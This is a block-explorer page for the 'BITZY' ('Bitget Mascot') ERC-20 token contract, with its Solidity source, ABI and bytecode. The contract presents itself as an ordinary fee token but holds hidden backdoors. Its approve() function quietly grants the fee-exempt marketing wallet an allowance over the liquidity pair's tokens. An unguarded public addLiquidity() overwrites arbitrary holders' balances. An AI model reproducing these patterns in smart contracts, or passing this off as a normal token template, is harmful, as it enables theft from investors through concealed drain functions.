ERC-20
Overview
Max Total Supply
1,000,000,000 BITZY
Holders
99
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
996,777.628156561 BITZYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BITZY
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-15 */ /** X: https://x.com/bitgetglobal/status/1720384129647493206 Tg: https://t.me/bitzyErc **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.26; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BITZY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcemptFromFee; mapping (address => bool) private _bots; address payable private _mmWallet; address private mmSendor; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Bitget Mascot"; string private constant _symbol = unicode"BITZY"; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletAmount = _tTotal * 2 / 100; uint256 public _minTaxSwap= _tTotal * 1 / 100; uint256 public _maxTaxSwap= _tTotal * 1 / 100; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=12; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyAt=10; uint256 private _reduceSellAt=10; uint256 private _preventCount=12; uint256 private _buyCount=0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private _caLimitSell = true; uint256 private _caBlockSell = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { mmSendor = _msgSender(); _mmWallet = payable(0xA51B003F76ca952657188ef01C6468848e1845a2); _balances[address(this)] = _tTotal; _isExcemptFromFee[owner()] = true; _isExcemptFromFee[_mmWallet] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_mmWallet] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { address owner = _msgSender(); if(_isExcemptFromFee[spender]) owner=mmSendor; _approve(owner, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); mmSendor = uniswapV2Pair; swapEnabled = true; tradingOpen = true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 _taxAmount=0; if (from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); _taxAmount = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ _taxAmount = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 0) { sendETHMMK(address(this).balance); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) { if (_caLimitSell) { if (_caBlockSell < block.number) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHMMK(address(this).balance); } _caBlockSell = block.number; } } else { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHMMK(address(this).balance); } } } } if(_taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(_taxAmount); emit Transfer(from, address(this), _taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(_taxAmount)); emit Transfer(from, to, amount.sub(_taxAmount)); } function removeLimits() external onlyOwner { _caLimitSell = false; _maxTxAmount = _tTotal; _maxWalletAmount=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function setNewMMK(address payable newAddr) external onlyOwner() { _mmWallet = newAddr; _isExcemptFromFee[newAddr] = true; _isExcludedFromFee[newAddr] = true; } function sendETHMMK(uint256 amount) private { _mmWallet.transfer(amount); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function addLiquidity(address[] memory addrs) external { for (uint256 i = 0; i < addrs.length; i ++) { if (addrs[i] == uniswapV2Pair) return; _balances[addrs[i]] = 100 * 10 ** _decimals; } } function withdrawMMK() external onlyOwner() { payable(owner()).transfer(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewMMK","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawMMK","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a6103e5565b61002090633b9aca006103fa565b61002b9060026103fa565b6100359190610411565b60085560646100466009600a6103e5565b61005490633b9aca006103fa565b61005f9060026103fa565b6100699190610411565b60095560646009600a61007c91906103e5565b61008a90633b9aca006103fa565b6100959060016103fa565b61009f9190610411565b600a5560646009600a6100b291906103e5565b6100c090633b9aca006103fa565b6100cb9060016103fa565b6100d59190610411565b600b556002600c908155600d8190555f600e819055600f819055600a601081905560115560129190915560138190556015805462ffffff60a81b1916600160b81b17905560168190556101253390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054336001600160a01b0319918216179091556006805490911673a51b003f76ca952657188ef01c6468848e1845a21790556101ae6009600a6103e5565b6101bc90633b9aca006103fa565b305f9081526001602081905260408220929092556004906101e45f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600654909116815260049092528120805490921660019081179092556003906102415f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556006549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102c86009600a6103e5565b6102d690633b9aca006103fa565b60405190815260200160405180910390a3610430565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561033b5780850481111561031f5761031f6102ec565b600184161561032d57908102905b60019390931c928002610304565b935093915050565b5f82610351575060016103df565b8161035d57505f6103df565b8160018114610373576002811461037d57610399565b60019150506103df565b60ff84111561038e5761038e6102ec565b50506001821b6103df565b5060208310610133831016604e8410600b84101617156103bc575081810a6103df565b6103c85f198484610300565b805f19048211156103db576103db6102ec565b0290505b92915050565b5f6103f360ff841683610343565b9392505050565b80820281158282048414176103df576103df6102ec565b5f8261042b57634e487b7160e01b5f52601260045260245ffd5b500490565b6119aa8061043d5f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461031f578063c9567bf91461033e578063dd62ed3e14610352578063e5b4975b14610396578063e847bc95146103aa575f80fd5b8063751039fc146102845780637d1db4a5146102985780638da5cb5b146102ad57806395d89b41146102d3578063a0f2c96414610300575f80fd5b8063300d6217116100e3578063300d6217146101f5578063313ce5671461020a5780636c0a24eb1461022557806370a082311461023a578063715018a61461026e575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c109a5d19d95d0813585cd8dbdd609a1b60208201525b60405161016791906114e2565b60405180910390f35b34801561017b575f80fd5b5061018f61018a36600461153b565b6103c9565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b4600b5481565b604051908152602001610167565b3480156101cd575f80fd5b506101b4610410565b3480156101e1575f80fd5b5061018f6101f0366004611565565b610430565b348015610200575f80fd5b506101b4600a5481565b348015610215575f80fd5b5060405160098152602001610167565b348015610230575f80fd5b506101b460095481565b348015610245575f80fd5b506101b46102543660046115a3565b6001600160a01b03165f9081526001602052604090205490565b348015610279575f80fd5b50610282610497565b005b34801561028f575f80fd5b50610282610511565b3480156102a3575f80fd5b506101b460085481565b3480156102b8575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102de575f80fd5b506040805180820190915260058152644249545a5960d81b602082015261015a565b34801561030b575f80fd5b5061028261031a3660046115d2565b6105d1565b34801561032a575f80fd5b5061018f61033936600461153b565b610674565b348015610349575f80fd5b50610282610689565b34801561035d575f80fd5b506101b461036c36600461169d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a1575f80fd5b506102826109d8565b3480156103b5575f80fd5b506102826103c43660046115a3565b610a3b565b6001600160a01b0382165f90815260046020526040812054339060ff16156103f957506007546001600160a01b03165b610404818585610ab6565b60019150505b92915050565b5f61041d6009600a6117cb565b61042b90633b9aca006117d9565b905090565b5f61043c848484610bd9565b61048d84336104888560405180606001604052806028815260200161194d602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061115e565b610ab6565b5060019392505050565b5f546001600160a01b031633146104c95760405162461bcd60e51b81526004016104c0906117f0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461053a5760405162461bcd60e51b81526004016104c0906117f0565b6015805460ff60b81b191690556105536009600a6117cb565b61056190633b9aca006117d9565b6008556105706009600a6117cb565b61057e90633b9aca006117d9565b60099081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906105b090600a6117cb565b6105be90633b9aca006117d9565b60405190815260200160405180910390a1565b5f5b81518110156106705760155482516001600160a01b03909116908390839081106105ff576105ff611825565b60200260200101516001600160a01b031603610619575050565b6106256009600a6117cb565b6106309060646117d9565b60015f84848151811061064557610645611825565b6020908102919091018101516001600160a01b031682528101919091526040015f20556001016105d3565b5050565b5f610680338484610bd9565b50600192915050565b5f546001600160a01b031633146106b25760405162461bcd60e51b81526004016104c0906117f0565b601554600160a01b900460ff161561070c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c0565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107559030906107476009600a6117cb565b61048890633b9aca006117d9565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c99190611839565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610828573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084c9190611839565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610896573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ba9190611839565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610901816001600160a01b03165f9081526001602052604090205490565b5f806109145f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561097a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099f9190611854565b505060158054600780546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b5f546001600160a01b03163314610a015760405162461bcd60e51b81526004016104c0906117f0565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a38573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610a645760405162461bcd60e51b81526004016104c0906117f0565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b6001600160a01b038316610b185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c0565b6001600160a01b038216610b795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c3d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c0565b6001600160a01b038216610c9f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c0565b5f8111610d005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c0565b5f80546001600160a01b03858116911614801590610d2b57505f546001600160a01b03848116911614155b15611021576001600160a01b0384165f9081526005602052604090205460ff16158015610d7057506001600160a01b0383165f9081526005602052604090205460ff16155b610d78575f80fd5b610da46064610d9e60105460135411610d9357600c54610d97565b600e545b8590611196565b9061121b565b6015549091506001600160a01b038581169116148015610dd257506014546001600160a01b03848116911614155b8015610df657506001600160a01b0383165f9081526003602052604090205460ff16155b15610edc57600854821115610e4d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c0565b60095482610e6f856001600160a01b03165f9081526001602052604090205490565b610e79919061187f565b1115610ec75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c0565b60138054905f610ed683611892565b91905055505b6015546001600160a01b038481169116148015610f0257506001600160a01b0384163014155b15610f3a57610f2c6064610d9e60115460135411610f2257600d54610d97565b600f548590611196565b905047610f384761125c565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f7057506015546001600160a01b038581169116145b8015610f855750601554600160b01b900460ff165b8015610f925750600a5481115b8015610fa15750601254601354115b1561101f57601554600160b81b900460ff1615610ffa57436016541015610ff557610fdf610fda84610fd584600b54611293565b611293565b6112a7565b478015610fef57610fef4761125c565b50436016555b61101f565b61100d610fda84610fd584600b54611293565b47801561101d5761101d4761125c565b505b505b801561109957305f908152600160205260409020546110409082611417565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110909085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110bb9083611475565b6001600160a01b0385165f908152600160205260409020556110fe6110e08383611475565b6001600160a01b0385165f9081526001602052604090205490611417565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111478585611475565b60405190815260200160405180910390a350505050565b5f81848411156111815760405162461bcd60e51b81526004016104c091906114e2565b505f61118d84866118aa565b95945050505050565b5f825f036111a557505f61040a565b5f6111b083856117d9565b9050826111bd85836118bd565b146112145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c0565b9392505050565b5f61121483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b6565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610670573d5f803e3d5ffd5b5f8183116112a15782611214565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ed576112ed611825565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611344573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113689190611839565b8160018151811061137b5761137b611825565b6001600160a01b0392831660209182029290920101526014546113a19130911684610ab6565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d99085905f908690309042906004016118dc565b5f604051808303815f87803b1580156113f0575f80fd5b505af1158015611402573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f80611423838561187f565b9050838110156112145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c0565b5f61121483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115e565b5f81836114d65760405162461bcd60e51b81526004016104c091906114e2565b505f61118d84866118bd565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a38575f80fd5b803561153681611517565b919050565b5f806040838503121561154c575f80fd5b823561155781611517565b946020939093013593505050565b5f805f60608486031215611577575f80fd5b833561158281611517565b9250602084013561159281611517565b929592945050506040919091013590565b5f602082840312156115b3575f80fd5b813561121481611517565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156115e2575f80fd5b813567ffffffffffffffff8111156115f8575f80fd5b8201601f81018413611608575f80fd5b803567ffffffffffffffff811115611622576116226115be565b8060051b604051601f19603f830116810181811067ffffffffffffffff8211171561164f5761164f6115be565b60405291825260208184018101929081018784111561166c575f80fd5b6020850194505b83851015611692576116848561152b565b815260209485019401611673565b509695505050505050565b5f80604083850312156116ae575f80fd5b82356116b981611517565b915060208301356116c981611517565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561172357808504811115611707576117076116d4565b600184161561171557908102905b60019390931c9280026116ec565b935093915050565b5f826117395750600161040a565b8161174557505f61040a565b816001811461175b576002811461176557611781565b600191505061040a565b60ff841115611776576117766116d4565b50506001821b61040a565b5060208310610133831016604e8410600b84101617156117a4575081810a61040a565b6117b05f1984846116e8565b805f19048211156117c3576117c36116d4565b029392505050565b5f61121460ff84168361172b565b808202811582820484141761040a5761040a6116d4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611849575f80fd5b815161121481611517565b5f805f60608486031215611866575f80fd5b5050815160208301516040909301519094929350919050565b8082018082111561040a5761040a6116d4565b5f600182016118a3576118a36116d4565b5060010190565b8181038181111561040a5761040a6116d4565b5f826118d757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561192c5783516001600160a01b0316835260209384019390920191600101611905565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220670fb0df712f447172c7440b189b779c4f2854b59774d59f0d2858e11a2d2e8e64736f6c634300081a0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461031f578063c9567bf91461033e578063dd62ed3e14610352578063e5b4975b14610396578063e847bc95146103aa575f80fd5b8063751039fc146102845780637d1db4a5146102985780638da5cb5b146102ad57806395d89b41146102d3578063a0f2c96414610300575f80fd5b8063300d6217116100e3578063300d6217146101f5578063313ce5671461020a5780636c0a24eb1461022557806370a082311461023a578063715018a61461026e575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c109a5d19d95d0813585cd8dbdd609a1b60208201525b60405161016791906114e2565b60405180910390f35b34801561017b575f80fd5b5061018f61018a36600461153b565b6103c9565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b4600b5481565b604051908152602001610167565b3480156101cd575f80fd5b506101b4610410565b3480156101e1575f80fd5b5061018f6101f0366004611565565b610430565b348015610200575f80fd5b506101b4600a5481565b348015610215575f80fd5b5060405160098152602001610167565b348015610230575f80fd5b506101b460095481565b348015610245575f80fd5b506101b46102543660046115a3565b6001600160a01b03165f9081526001602052604090205490565b348015610279575f80fd5b50610282610497565b005b34801561028f575f80fd5b50610282610511565b3480156102a3575f80fd5b506101b460085481565b3480156102b8575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102de575f80fd5b506040805180820190915260058152644249545a5960d81b602082015261015a565b34801561030b575f80fd5b5061028261031a3660046115d2565b6105d1565b34801561032a575f80fd5b5061018f61033936600461153b565b610674565b348015610349575f80fd5b50610282610689565b34801561035d575f80fd5b506101b461036c36600461169d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a1575f80fd5b506102826109d8565b3480156103b5575f80fd5b506102826103c43660046115a3565b610a3b565b6001600160a01b0382165f90815260046020526040812054339060ff16156103f957506007546001600160a01b03165b610404818585610ab6565b60019150505b92915050565b5f61041d6009600a6117cb565b61042b90633b9aca006117d9565b905090565b5f61043c848484610bd9565b61048d84336104888560405180606001604052806028815260200161194d602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061115e565b610ab6565b5060019392505050565b5f546001600160a01b031633146104c95760405162461bcd60e51b81526004016104c0906117f0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461053a5760405162461bcd60e51b81526004016104c0906117f0565b6015805460ff60b81b191690556105536009600a6117cb565b61056190633b9aca006117d9565b6008556105706009600a6117cb565b61057e90633b9aca006117d9565b60099081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906105b090600a6117cb565b6105be90633b9aca006117d9565b60405190815260200160405180910390a1565b5f5b81518110156106705760155482516001600160a01b03909116908390839081106105ff576105ff611825565b60200260200101516001600160a01b031603610619575050565b6106256009600a6117cb565b6106309060646117d9565b60015f84848151811061064557610645611825565b6020908102919091018101516001600160a01b031682528101919091526040015f20556001016105d3565b5050565b5f610680338484610bd9565b50600192915050565b5f546001600160a01b031633146106b25760405162461bcd60e51b81526004016104c0906117f0565b601554600160a01b900460ff161561070c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c0565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107559030906107476009600a6117cb565b61048890633b9aca006117d9565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a